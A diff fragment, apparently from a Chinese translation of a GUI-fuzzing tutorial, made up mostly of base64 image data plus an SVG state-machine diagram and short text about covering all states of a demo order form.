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AADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAADwRoAAAAAAA8EKABAAAAAPBAgAYAAAAAwAMBGgAAAAAAD/8PycZ2AnUJyKEAAAAASUVORK5CYII=
+)
+
+```py
+In new state <state-1> frozenset({"click('order form')", "ignore('Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.')"})
+
+```
+
+<svg height="439pt" viewBox="0.00 0.00 397.39 439.00" width="397pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 435)"><title>%3</title> <g class="node" id="node1"><title>start</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="188.3924" y="-409.3"><start></text></g> <g class="node" id="node2"><title>state</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="188.3924" y="-336.3"><state></text></g> <g class="edge" id="edge1"><title>start->state</title></g> <g class="node" id="node3"><title>state-1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="46.3924" y="-174.3"><state-1></text></g> <g class="edge" id="edge2"><title>state->state-1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="15.3924" y="-255.3">click('terms and conditions')</text></g> <g class="node" id="node4"><title>state-2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="261.3924" y="-174.3"><state-2></text></g> <g class="edge" id="edge3"><title>state->state-2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="243.3924" y="-292.8">fill('zip', '<number>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="243.3924" y="-277.8">fill('name', '<text>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="243.3924" y="-262.8">fill('city', '<text>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="243.3924" y="-247.8">check('terms', <boolean>)</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="243.3924" y="-232.8">fill('email', '<email>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="243.3924" y="-217.8">submit('submit')</text></g> <g class="node" id="node5"><title>end</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="163.3924" y="-87.3"><end></text></g> <g class="edge" id="edge4"><title>state->end</title></g> <g class="edge" id="edge6"><title>state-1->end</title></g> <g class="node" id="node6"><title>state-4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="56.3924" y="-87.3"><state-4></text></g> <g class="edge" id="edge5"><title>state-1->state-4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="47.3924" y="-130.8">click('order form')</text></g> <g class="edge" id="edge8"><title>state-2->end</title></g> <g class="node" id="node7"><title>state-3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="261.3924" y="-87.3"><state-3></text></g> <g class="edge" id="edge7"><title>state-2->state-3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="261.3924" y="-130.8">click('order form')</text></g> <g class="node" id="node8"><title>unexplored</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="153.3924" y="-14.3"><unexplored></text></g> <g class="edge" id="edge9"><title>state-4->unexplored</title></g> <g class="edge" id="edge10"><title>state-3->unexplored</title></g></g></svg>
+
+```py
+None
+
+```
+
+```py
+('<state-1>', 'PASS')
+
+```
+
+至此，我们的GUI模型已经相当完善。 为了系统地覆盖*的所有*状态，尽管如此，随机探索还不够有效。
+
+## 覆盖国
+
+在探索和测试期间，我们要*涵盖*所有状态和状态之间的转换。 我们怎样才能做到这一点？
+
